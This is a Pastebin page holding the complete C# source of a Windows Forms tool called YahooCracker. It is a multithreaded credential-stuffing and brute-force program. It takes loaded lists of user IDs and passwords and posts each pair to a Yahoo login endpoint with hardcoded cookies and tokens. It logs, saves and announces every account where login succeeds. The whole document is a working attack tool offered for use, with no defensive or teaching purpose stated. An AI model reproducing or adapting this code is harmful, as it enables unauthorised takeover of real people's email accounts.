Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Collections.Concurrent;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Threading;
- using System.Net;
- using System.Net.Sockets;
- using System.Net.Security;
- using System.IO;
- using System.Security.Authentication;
- using System.Security.Cryptography.X509Certificates;
- using System.Resources;
- using System.Media;
- using System.Diagnostics;
- using System.Reflection;
- using Microsoft.VisualBasic;
- namespace YahooCracker
- {
- public partial class Form1 : Form
- {
- public string idFileName;
- public string pwFileName;
- public Thread l;
- public Thread t;
- public Thread[] crackerThread;
- public bool Loading = false;
- public List<string> Id = new List<string>();
- public long totalId;
- public bool isCracking = false;
- public string Server;
- public static int currId;
- public static int currPw;
- public int maxThread;
- public Form1()
- {
- // LicenseGlobal.Seal.Initialize("84470000");
- InitializeComponent();
- }
- public void SaveCracked()
- {
- if (lstCrack.Items.Count == 0) { return; }
- StreamWriter sr = new StreamWriter(Application.StartupPath + "\\Cracked.txt", false);
- bool first = true;
- foreach (string item in lstCrack.Items)
- {
- if (first)
- {
- sr.Write(item);
- first = false;
- }
- else if (!first)
- {
- sr.Write(Environment.NewLine + item);
- }
- }
- sr.Close();
- }
- public static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
- {
- if (sslPolicyErrors == SslPolicyErrors.None)
- return true;
- MessageBox.Show(sslPolicyErrors.ToString());
- // Do not allow this client to communicate with unauthenticated servers.
- return false;
- }
- static string ReadMessage(SslStream sslStream)
- {
- // Read the message sent by the server.
- // The end of the message is signaled using the
- // "<EOF>" marker.
- byte[] buffer = new byte[2048];
- StringBuilder messageData = new StringBuilder();
- int bytes = -1;
- do
- {
- sslStream.ReadTimeout = 7000;
- try
- {
- bytes = sslStream.Read(buffer, 0, buffer.Length);
- // Use Decoder class to convert from bytes to UTF8
- // in case a character spans two buffers.
- Decoder decoder = Encoding.UTF8.GetDecoder();
- char[] chars = new char[decoder.GetCharCount(buffer, 0, bytes)];
- decoder.GetChars(buffer, 0, bytes, chars, 0);
- messageData.Append(chars);
- // Check for EOF.
- if (messageData.ToString().IndexOf("<EOF>") != -1)
- {
- break;
- }
- }
- catch (IOException) { }
- } while (bytes != 0);
- return messageData.ToString();
- }
- public void WriteToLabel(Label Lb, string sText)
- {
- if (Lb.InvokeRequired)
- Lb.Invoke((MethodInvoker)delegate()
- {
- WriteToLabel(Lb, sText);
- });
- else Lb.Text = sText;
- }
- public void UpdateCmd(Button button, bool enabled)
- {
- if (button.InvokeRequired)
- button.Invoke((MethodInvoker)delegate()
- {
- UpdateCmd(button, enabled);
- });
- else button.Enabled = enabled;
- }
- public void UpdateProgBar(ProgressBar prog, long value)
- {
- if (prog.InvokeRequired)
- prog.Invoke((MethodInvoker)delegate()
- {
- UpdateProgBar(prog, value);
- });
- else prog.Value = Convert.ToInt32(value);
- }
- public void RemoveListItem(ListBox lst)
- {
- if (lst.InvokeRequired)
- lst.Invoke((MethodInvoker)delegate()
- {
- RemoveListItem(lst);
- });
- else if (lst.Items.Count > 0) { lst.Items.RemoveAt(0); }
- }
- public void SelectListItem(ListBox lst, int index)
- {
- if (lst.InvokeRequired)
- lst.Invoke((MethodInvoker)delegate()
- {
- SelectListItem(lst, index);
- });
- else lst.SetSelected(index, true);
- }
- public void WriteToText(TextBox TB, string sText)
- {
- try
- {
- if (TB.InvokeRequired)
- TB.Invoke((MethodInvoker)delegate()
- {
- WriteToText(TB, sText);
- });
- else TB.Text = sText;
- }
- catch (Exception ee)
- {
- string shit = ee.Message;
- }
- }
- private void addToList(ListBox LB, string sText)
- {
- if (LB.InvokeRequired)
- LB.Invoke((MethodInvoker)delegate()
- {
- addToList(LB, sText);
- });
- else LB.Items.Add(sText);
- }
- private void clearListBox(ListBox LB)
- {
- if (LB.InvokeRequired)
- LB.Invoke((MethodInvoker)delegate()
- {
- clearListBox(LB);
- });
- else LB.Items.Clear();
- }
- public void PlaySound(string wavFile)
- {
- Assembly assem;
- SoundPlayer sPlayer;
- assem = Assembly.GetExecutingAssembly();
- sPlayer = new SoundPlayer(assem.GetManifestResourceStream("YahooCracker." + wavFile));
- sPlayer.Play();
- }
- private void LoadListBox()
- {
- Loading = true;
- if (lstPass.Items.Count > 0) { clearListBox(lstPass); }
- string[] lines = File.ReadAllLines(pwFileName);
- foreach (string line in lines)
- {
- if (line != null)
- {
- if (checkDupe.Checked)
- {
- if (!lstPass.Items.Contains(line))
- {
- addToList(lstPass, line);
- WriteToLabel(lblStatus, "Status: Loading " + lstPass.Items.Count + " Pws ...");
- }
- }
- else
- {
- addToList(lstPass, line);
- WriteToLabel(lblStatus, "Status: Loading " + lstPass.Items.Count + " Pws ...");
- }
- }
- }
- Loading = false;
- WriteToLabel(lblStatus, "Status: Successfully Loaded " + lstPass.Items.Count + " Pws.");
- }
- private void LoadList()
- {
- Loading = true;
- if (Id.Count > 0) { Id.Clear(); }
- string[] lines = File.ReadAllLines(idFileName);
- totalId = 0;
- foreach (string line in lines)
- {
- if (line != null)
- {
- if (checkDupe.Checked)
- {
- if (!Id.Contains<string>(line.ToLower()))
- {
- Id.Add(line.ToLower());
- WriteToLabel(lblStatus, "Status: Loading " + Id.Count + " Ids ...");
- }
- }
- else
- {
- Id.Add(line.ToLower());
- WriteToLabel(lblStatus, "Status: Loading " + Id.Count + " Ids ...");
- }
- }
- }
- Loading = false;
- totalId = Id.Count;
- WriteToLabel(lblStatus, "Status: Successfully Loaded " + Id.Count + " Ids.");
- WriteToLabel(lblTotalId, totalId.ToString());
- }
- private void YahooLogin()
- {
- reStart:
- try
- {
- while (isCracking)
- {
- bool first = false;
- int currentId;
- int currentPw;
- if (currId == 0) { first = true; }
- if (!first) { currId++; }
- if (currId >= totalId)
- {
- currPw++;
- if (currPw >= lstPass.Items.Count)
- {
- Thread.CurrentThread.Join(6000);
- break;
- }
- else
- {
- currId = 0;
- UpdateProgBar(Prog, 0);
- WriteToLabel(lblIdLeft, totalId.ToString());
- SelectListItem(lstPass, currPw);
- }
- }
- currentId = currId;
- currentPw = currPw;
- reTry:
- TcpClient sslSocket = new TcpClient(Server, 443);
- SslStream sStream = new SslStream(sslSocket.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
- string UserId = (txtBefore.Text + Id[currentId] + txtAfter.Text).Replace(" ", "+");
- string PassWord = lstPass.Items[currentPw].ToString();
- try
- {
- sStream.AuthenticateAsClient(Server);
- }
- catch (AuthenticationException Ae)
- {
- WriteToText(txtData, Ae.Message);
- if (Ae.InnerException != null)
- {
- WriteToText(txtData, Ae.InnerException.ToString());
- }
- WriteToLabel(lblStatus, "Status: SSL Auth Failed - Closing Connection.");
- sslSocket.Close();
- goto reTry;
- }
- catch (Exception shit) { WriteToText(txtData, shit.Message); goto reTry; }
- string timeStamp = Math.Round((DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0)).TotalMilliseconds).ToString();
- string Post = "countrycode=1" + "username=" + UserId + "&passwd=" + PassWord + "&signin=&_ts=" + timeStamp + "&_tpa=&_muh=&_crumb=4jnpJODxBch&_uuid=UMMhvNHNXufh&_seqid=5&otp_channel=&otp_ref_cc_intl=";
- string Pck = "POST https://mail.yahoo-inc.com/t HTTP/1.1\n" +
- "Host: mail.yahoo-inc.com\n" +
- "Connection: keep-alive\n" +
- "Content-Length: " + Post.Length + "\n" +
- "X-Requested-With: XMLHttpRequest\n" +
- "X-PJAX: true\n" +
- "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\n" +
- "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n" +
- "Accept: */*\n" +
- "Referer: https://mail.yahoo-inc.com/t" +
- "Accept-Language: en-US,en;q=0.8\n" +
- "Cookie: BX=br2245laad8v0&b=3&s=78; ywandp=10001756605956%3A1631432904; fpc=10001756605956%3AZaKqaTzx%7C%7C\n\n" + Post + "\n\n<EOF>";
- try
- {
- byte[] message = Encoding.UTF8.GetBytes(Pck);
- sStream.Write(message);
- sStream.Flush();
- string serverMessage = ReadMessage(sStream);
- if (checkReturnData.Checked) { WriteToText(txtData, serverMessage); }
- WriteToLabel(lblCurrId, UserId);
- WriteToLabel(lblCurrPw, PassWord);
- if (currId <= totalId) { UpdateProgBar(Prog, currId); }
- WriteToLabel(lblIdLeft, (totalId - (currentId + 1)).ToString());
- sslSocket.Close();
- //if (serverMessage.Contains("204 No Response"))
- {
- if (serverMessage.Contains("Set-Cookie: AO=u=1"))
- {
- addToList(lstCrack, UserId + " - " + PassWord);
- SaveCracked();
- PlaySound("Data_8.wav");
- }
- }
- }
- catch (Exception ex)
- {
- WriteToText(txtData, ex.Message);
- goto reTry;
- }
- if (currId == 0) { currId++; first = false; }
- }
- WriteToLabel(lblStatus, "Status: Cracking Finished.");
- WriteToLabel(lblCurrId, "-");
- WriteToLabel(lblCurrPw, "-");
- WriteToLabel(lblIdLeft, "0");
- UpdateProgBar(Prog, 0);
- UpdateCmd(cmdStart, true);
- UpdateCmd(cmdStop, false);
- Thread.CurrentThread.Join(6000);
- }
- catch (SocketException SE) { WriteToText(txtData, SE.Message); goto reStart; }
- catch (Exception e) { WriteToText(txtData, e.Message); goto reStart; }
- }
- private void cmdSaveCrack_Click(object sender, EventArgs e)
- {
- if (lstCrack.Items.Count == 0) { lblStatus.Text = "Status: Nothing To Save."; return; }
- var saveFile = new SaveFileDialog();
- saveFile.Filter = "Text (*.txt)|*.txt";
- if (saveFile.ShowDialog() == DialogResult.OK)
- {
- bool first = true;
- using (var sw = new StreamWriter(saveFile.FileName, false))
- foreach (var item in lstCrack.Items)
- {
- if (first)
- {
- sw.Write(item.ToString());
- first = false;
- }
- else if (!first)
- {
- sw.Write(Environment.NewLine + item.ToString());
- }
- }
- }
- }
- private void cmdLoadId_Click(object sender, EventArgs e)
- {
- if (Loading) { return; }
- DialogResult idResult = oFD.ShowDialog();
- if (idResult == DialogResult.OK)
- {
- idFileName = oFD.FileName;
- txtIdPath.Text = idFileName;
- l = new Thread(new ThreadStart(LoadList));
- l.Start();
- }
- else { lblStatus.Text = "Status: Load an Id file."; }
- }
- private void cmdLoadPass_Click(object sender, EventArgs e)
- {
- if (Loading) { return; }
- DialogResult pwResult = oFD.ShowDialog();
- if (pwResult == DialogResult.OK)
- {
- pwFileName = oFD.FileName;
- t = new Thread(new ThreadStart(LoadListBox));
- t.Start();
- }
- else { lblStatus.Text = "Status: Load a Pw file."; }
- }
- private void cmdStart_Click(object sender, EventArgs e)
- {
- if (Id.Count == 0) { lblStatus.Text = "Status: Load an Id file."; return; }
- if (lstPass.Items.Count == 0) { lblStatus.Text = "Status: Load a Pw file."; return; }
- if (txtServer.Text == "") { lblStatus.Text = "Status: Enter a server."; return; }
- if ((!Information.IsNumeric(txtThread.Text)) || (Convert.ToInt32(txtThread.Text) < 1) || (Convert.ToInt32(txtThread.Text) > 100)) { lblStatus.Text = "Status: Enter a thread count between 1 and 100"; return; }
- maxThread = Convert.ToInt32(txtThread.Text);
- totalId = Id.Count;
- currId = 0;
- currPw = 0;
- Prog.Minimum = 0;
- Prog.Maximum = Convert.ToInt32(totalId);
- Prog.Value = 0;
- lblTotalId.Text = totalId.ToString();
- lblIdLeft.Text = totalId.ToString();
- Server = txtServer.Text;
- lstPass.SetSelected(0, true);
- lblStatus.Text = "Status: Cracking in progress ...";
- isCracking = true;
- cmdStart.Enabled = false;
- cmdStop.Enabled = true;
- crackerThread = new Thread[maxThread];
- for (int i = 0; i <= (crackerThread.Length -1); i++)
- {
- crackerThread[i] = new Thread(new ThreadStart(YahooLogin));
- crackerThread[i].Start();
- }
- }
- private void cmdStop_Click(object sender, EventArgs e)
- {
- isCracking = false;
- cmdStop.Enabled = false;
- cmdStart.Enabled = true;
- }
- private void cmdAddPass_Click(object sender, EventArgs e)
- {
- if (txtAddPw.Text != "")
- {
- if (checkDupe.Checked)
- {
- if (!lstPass.Items.Contains(txtAddPw.Text)) { lstPass.Items.Add(txtAddPw.Text); } else { lblStatus.Text = "Status: Pw already in list."; return; }
- }
- else { lstPass.Items.Add(txtAddPw.Text); }
- txtAddPw.Text = "";
- }
- else { lblStatus.Text = "Status: Input a Pw to enter."; }
- }
- private void cmdClearPass_Click(object sender, EventArgs e)
- {
- lstPass.Items.Clear();
- lblStatus.Text = "Status: User Ids cleared.";
- }
- private void cmdRemovePass_Click(object sender, EventArgs e)
- {
- if (lstPass.SelectedItem != null)
- {
- lstPass.Items.Remove(lstPass.SelectedItem);
- }
- else { lblStatus.Text = "Status: Select a Pw to remove."; }
- }
- private void txtAddPw_TextChanged(object sender, EventArgs e)
- {
- }
- private void txtAddPw_KeyDown(object sender, KeyEventArgs e)
- {
- if (e.KeyCode == Keys.Enter) { cmdAddPass.PerformClick(); }
- }
- private void cmdClearCrack_Click(object sender, EventArgs e)
- {
- lstCrack.Items.Clear();
- lblStatus.Text = "Status: Cracked Ids cleared.";
- }
- private void cmdCopyCrack_Click(object sender, EventArgs e)
- {
- if (lstCrack.SelectedItem != null)
- {
- Clipboard.SetText(lstCrack.SelectedItem.ToString());
- }
- else { return; }
- }
- private void checkReturnData_CheckedChanged(object sender, EventArgs e)
- {
- if (checkReturnData.Checked)
- {
- this.Width = 1190;
- }
- else { this.Width = 1190; }
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- label4.BackColor = Color.Transparent;
- ToolTip tip = new ToolTip();
- tip.AutomaticDelay = 5000;
- tip.InitialDelay = 500;
- tip.ReshowDelay = 500;
- tip.ShowAlways = false;
- tip.SetToolTip(this.checkDupe, "Prevents duplicate items from loading into your User Id and Password file.");
- tip.SetToolTip(this.checkReturnData, "Displays server return data into a text box. WARNING: SLOWS CRACKING (NOT RECOMMENDED!)");
- tip.SetToolTip(this.txtThread, "Threads: [Min: 1] [Max: 100]");
- tip.SetToolTip(this.cmdStart, "Start Cracking");
- tip.SetToolTip(this.cmdStop, "Stop Cracking");
- tip.SetToolTip(this.cmdLoadId, "Load an Id file for cracking");
- tip.SetToolTip(this.cmdLoadPass, "Load a Password file");
- tip.SetToolTip(this.cmdClearPass, "Clear your password list");
- tip.SetToolTip(this.cmdRemovePass, "Remove selected password from list");
- tip.SetToolTip(this.cmdAddPass, "Add Password input to your password list");
- tip.SetToolTip(this.cmdSaveCrack, "Save current cracked Ids");
- tip.SetToolTip(this.cmdClearCrack, "Clear your cracked list");
- tip.SetToolTip(this.cmdCopyCrack, "Copy selected cracked Id and Password to your clipboard");
- tip.SetToolTip(this.txtServer, "Input Yahoo Login server");
- tip.SetToolTip(this.txtBefore, "Input characters here to be used before all User Ids");
- tip.SetToolTip(this.txtAfter, "Input characters here to be used after all User Ids");
- }
- private void lblStatus_Click(object sender, EventArgs e)
- {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement